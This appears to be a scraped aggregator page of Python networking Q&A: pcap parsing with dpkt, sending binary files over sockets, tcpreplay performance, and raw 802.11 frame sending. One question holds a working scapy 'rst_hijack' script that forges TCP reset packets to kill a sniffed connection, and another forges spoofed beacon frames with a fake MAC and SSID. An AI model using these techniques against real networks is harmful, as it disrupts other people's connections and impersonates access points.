Python - Analyze Pcap FIle and extract interrupted connections - python

I am trying to do these steps :
read pcap file
analyze the packets and show connections that have not been set up properly
is it possible to extract information like this ?
i have write Python classes to extract Packet Header , Packet's Ethernet , Packet IP , Packet TCP information. i need guidance that is it possible to extract information like this ? hva_pcao.py , hva_pckt
rdr = pcap.open_offline('xsupport.pcap')
i = 0
for hdr, data in rdr:
if i ==2:
print(hdr)
eth = Eth.decode(data)
if eth is None: continue
print(str(eth))
ip = Ip.decode(eth.pl)
if ip is None: continue
print(str(ip))
tcp = Tcp.decode(ip.pl)
if tcp is None: continue
print(str(tcp))
print((repr(tcp.flags) + " - " + repr(tcp.kFlags_FIN) + " * " + repr(tcp.kFlags_ACK)))
# break
My expected output is : analyze the packets and show connections that have not been set up properly

Related

Read from any file in binary mode, append it to string, and send through TCP socket

So I have to send a specific message to a server (which already exists).
This request follows this format:
DO dirname number_of_files [file_size file_name file_data]*
so for example it can be something like this:
DO dir 2 1421 house.png [binary data I assume?] 1239 info.txt [more binary data?]
As you can see there can be as many files as you want.
So what I was doing is creating a string where I append all the information and at the end send it all together, but I'm stuck at the data part.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(ip, port)
request = "DO " + directory + " " + str(number_of_files)
for file_number in range(0,number_of_files):
data = open("./" + directory + "/" + files_info[file_number*2], 'rb').read()
client_request += " " + " ".join(files_info[file_number*2 : 1 + file_number*2]) + " " + data
s.send((request + "\n").encode())
This does not working because I'm trying to append the data which is binary to a string (TypeError: must be str, not bytes). I tried using .decode() before appending but I get an utf-8 decoder error (UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte). I tried with utf-16 and ascii and it didn't work either.
Should I be handling this in another way? I have done more requests like this but none of them included data from files, only numbers/strings so it was never a problem before.
I am trying to follow this format because I have all the code right now done like this (and these steps I showed don't all happen in the same functions) so changing the way I send the messages is not optimal
Here is my simple working code to get something close to what you want:
import socket
ip = '192.168.10.137'
port = 4043
directory = 'C:/123/'
#with open('1.dat', 'wb') as file:
# file.write(b'\x00\x01\x1a\xa1')
#with open('2.dat', 'wb') as file:
# file.write(b'\x00\x01\x00\x00')
file_info = ['1.dat', '2.dat']
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((ip, port))
sock.send(
'DO {} {}'.format(directory, len(file_info)).encode('UTF-8'))
for filename in file_info:
with open(filename, mode='rb') as file:
data = file.read()
sock.send(
' {} '.format(len(data)).encode('UTF-8'))
sock.send(
'{} '.format(filename).encode('UTF-8'))
sock.send(data)
Data received by server (bytes):
b'DO C:/123/ 2 4 1.dat \x00\x01\x1a\xa1 4 2.dat \x00\x01\x00\x00'

scapy remaining packets, not received

I've got an issue with scapy, it says :
Finished to send 1 packets
But I don't receive anything on tcpdump, and when i close scapy:
Received 0 packets, got 0 answers, remaining 1 packets
What does "remaining 1 packets" means?
Here is the code :
#Usage: script.py serveur_ip serveur_port client_ip
from scapy.all import *
import sys
#Création of the filter for the sniffer
filtre="host " + sys.argv[1] + " and port " + sys.argv[2]
print "THe filter used will be : {}".format(filtre)
#Function used by the sniffer for each received packet:
def rst_hijack(p):
#If the source is the remote-host and the destination is the target
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "Connexion trouvée"
#We forge a packet for our attack from the received packet
#Ethernet
ether=Ether(dst=p[Ether].src, src=p[Ether].dst)
ether.show()
#IP
ip=IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29221)
ip.show()
#TCP
tcp=TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
tcp.show()
#We forge the final paquet
reset=ether/ip/tcp
reset.show()
#We send it
srp(reset)
exit()
#Sniffer That applies to each packet the rst_hijack function, packet filtered according to the filter
sniff(count=0, iface="ens37", prn=lambda p: rst_hijack(p), filter=filtre, lfilter=lambda x: x.haslayer(IP) and x.haslayer(TCP))

python broadcast 802.11 frames, using the socket module

I'm trying to capture and send a beacon frame using the following code
def SniffIncomingProbes():
#create a general socket to monitor ongoing traffic
sniffer = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
sniffer.bind((interface, 0x0003))
#byte [30] in the packet is the packet type/subtype field
#\x40 is a probe request, \x80 is a beacon probe
while True:
if frame_subtype==8:
packet = sniffer.recvfrom(2048)[0]
if packet[30] == "\x80":
#byte [67] in the packet contains the length of the SSID
SSID = packet[68: 68 + ord(packet[67])]
MAC = packet[40:46].encode('hex')
association_set.add((MAC,SSID))
PrintNicely()
#try and send a beacon on my own
if len(SSID) == 4:
newPacket = packet[:68] + "MOSS" + packet[72:]
newPacket = newPacket[:46] + ("\xAC\xDC\xDE\xAD\xBE\xEF") + newPacket[52:]
#get the FRC into unsigned form, convert to a
#string, and remove the "0x" characters in the beginning of the string
FCS = str(hex(abs(binascii.crc32(newPacket[:len(packet)-4]))))[2:]
if len(FCS)%2 == 1:
FCS = "0" + FCS
print FCS
print len(FCS)
newPacket = newPacket[:len(newPacket)-4]+ FCS.decode("hex")
sniffer.send(newPacket)
elif frame_subtype==4:
packet = sniffer.recvfrom(2048)[0]
if packet[30] == "\x40":
#byte [55] in the packet contains the length of the SSID
SSID = packet[56: 56 + ord(packet[55])]
MAC = packet[40:46].encode('hex')
association_set.add((MAC,SSID))
PrintNicely()
when I run Wireshark and airodump I can see the packets with SSID "MOSS" going through, and it shows up as a beacon on airodump.
yet when I run Windows Network Monitor on a remote machine, I don't see these packets going through.
also, my CRC checksum seems to be wrong (checked with wireshark).
seems like I am not sending the packet correctly and the FCS check failed
any input will be appreciated,
thank you in advance.
UPDATE:
The frame seqeuence check(FSC) returns Good and is not marked by wireshark anymore, BUT the packet is still not transmitted to any remote machine on the network.
i changed the FSC code to:
def FSCCheckSum(data):
#get the crc32 checksum of the data,
#without the radiotap header(first 30 bytes) and the FSC (last 4 bytes)
#and change it to unsigned form
#convert the hex representation to a string
#and remove the "0x" characters at the beginning of the string
FSC = binascii.crc32(data[30:-4]) % (1<<32)
FSC = str(hex(FSC))[2:]
#we might get zeroes(not showing) from the left,
#so we pad the number from the left with "0"s to match 4 bytes(4 hex pairs)
FSC = "0" * (8-len(FSC)) + FSC
#reverse the byte ordering
return FSC.decode("hex")[::-1]
so I just use the following code to modify the packet. *
Notice I also change the source address now
newPacket = packet[:68] + "MOSS" + packet[72:]
newPacket = newPacket[:40] + ("\xAC\xDC\xDE\xAD\xBE\xEF") + newPacket[46:]
newPacket = newPacket[:46] + ("\xAC\xDC\xDE\xAD\xBE\xEF") + newPacket[52:]
newPacket = newPacket[:-4] + FSCCheckSum(newPacket)
sniffer.send(newPacket)
(i split setting it with the BSSID so it would be easier to read and understand, i know it can be merged)

python-dpkt: ICMP packet parsing

How can I parse a ICMP packet (using dpkt) to check if it is a request or a response coming from A to B?
I found some examples for TCP and UDP packets (below) but I can't find anything for IP packets.
import dpkt
f = open('test.pcap')
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
tcp = ip.data
if tcp.dport == 80 and len(tcp.data) > 0:
http = dpkt.http.Request(tcp.data)
print http.uri
f.close()
Also, is there any good tutorial for dpkt?
This is an old question but for folks coming across this, I've added an ICMP example to the dpkt repo. The docs can be found here: http://dpkt.readthedocs.io/en/latest/print_icmp.html and the example code can be found in dpkt/examples/print_icmp.py
# For each packet in the pcap process the contents
for timestamp, buf in pcap:
# Unpack the Ethernet frame (mac src/dst, ethertype)
eth = dpkt.ethernet.Ethernet(buf)
# Make sure the Ethernet data contains an IP packet
if not isinstance(eth.data, dpkt.ip.IP):
print 'Non IP Packet type not supported %s\n' % eth.data.__class__.__name__
continue
# Now grab the data within the Ethernet frame (the IP packet)
ip = eth.data
# Now check if this is an ICMP packet
if isinstance(ip.data, dpkt.icmp.ICMP):
icmp = ip.data
# Pull out fragment information
do_not_fragment = bool(ip.off & dpkt.ip.IP_DF)
more_fragments = bool(ip.off & dpkt.ip.IP_MF)
fragment_offset = ip.off & dpkt.ip.IP_OFFMASK
# Print out the info
print 'Timestamp: ', str(datetime.datetime.utcfromtimestamp(timestamp))
print 'Ethernet Frame: ', mac_addr(eth.src), mac_addr(eth.dst), eth.type
print 'IP: %s -> %s (len=%d ttl=%d DF=%d MF=%d offset=%d)' % \
(inet_to_str(ip.src), inet_to_str(ip.dst), ip.len, ip.ttl,
do_not_fragment, more_fragments, fragment_offset)
print 'ICMP: type:%d code:%d checksum:%d data: %s\n' % (icmp.type,
icmp.code, icmp.sum, repr(icmp.data))
Example Output
Timestamp: 2013-05-30 22:45:17.283187
Ethernet Frame: 60:33:4b:13:c5:58 02:1a:11:f0:c8:3b 2048
IP: 192.168.43.9 -> 8.8.8.8 (len=84 ttl=64 DF=0 MF=0 offset=0)
ICMP: type:8 code:0 checksum:48051 data: Echo(id=55099, data='Q\xa7\xd6}\x00\x04Q\xe4\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567')
Timestamp: 2013-05-30 22:45:17.775391
Ethernet Frame: 02:1a:11:f0:c8:3b 60:33:4b:13:c5:58 2048
IP: 8.8.8.8 -> 192.168.43.9 (len=84 ttl=40 DF=0 MF=0 offset=0)
ICMP: type:0 code:0 checksum:50099 data: Echo(id=55099, data='Q\xa7\xd6}\x00\x04Q\xe4\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567')

Scapy and tcpreplay: bypass temporary file for performance

Scapy has a sendpfast function that sends packets using tcpreplay. However, this function first creates a temporary pcap file and then calls tcpreplay on that. This adds too much delay. Is there anyway to bypass it and directly send data to tcpreplay. I know that tcpreplay can read data from STDIN.
Context: I want to generate large traffic (with different srcIP) every second and send it through network. One option is to save all traffic with timestamps in a giant pcap file and run tcpreplay. Another option is to send data every second.
Not sure whether or not avoiding temporary file will be enough, but still, here is a way:
#! /usr/bin/env python
from scapy.all import *
def pkt2pcap(p):
sec = int(p.time)
usec = int(round((p.time-sec)*1000000))
s = str(p)
caplen = len(s)
return struct.pack("IIII", sec, usec, caplen, caplen) + s
# adapted from Scapy's sendpfast
def mysendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None):
"""Send packets at layer 2 using tcpreplay for performance
pps: packets per second
mpbs: MBits per second
realtime: use packet's timestamp, bending time with realtime value
loop: number of times to process the packet list
file_cache: cache packets in RAM instead of reading from disk at each iteration
iface: output interface """
if iface is None:
iface = conf.iface
argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ]
if pps is not None:
argv.append("--pps=%i" % pps)
elif mbps is not None:
argv.append("--mbps=%i" % mbps)
elif realtime is not None:
argv.append("--multiplier=%i" % realtime)
else:
argv.append("--topspeed")
if loop:
argv.append("--loop=%i" % loop)
if file_cache:
argv.append("--enable-file-cache")
argv.append("-")
try:
f = subprocess.Popen(argv, stdin=subprocess.PIPE)
# PCAP header
p = x.next()
f.stdin.write(struct.pack("IHHIIII", 0xa1b2c3d4L,
2, 4, 0, 0, MTU,
conf.l2types[p.__class__]))
# Let's send
f.stdin.write(pkt2pcap(p))
for p in x:
f.stdin.write(pkt2pcap(p))
f.stdin.close()
f.communicate()
except KeyboardInterrupt:
log_interactive.info("Interrupted by user")
except Exception,e:
log_interactive.error("while trying to exec [%s]: %s" % (argv[0],e))

Categories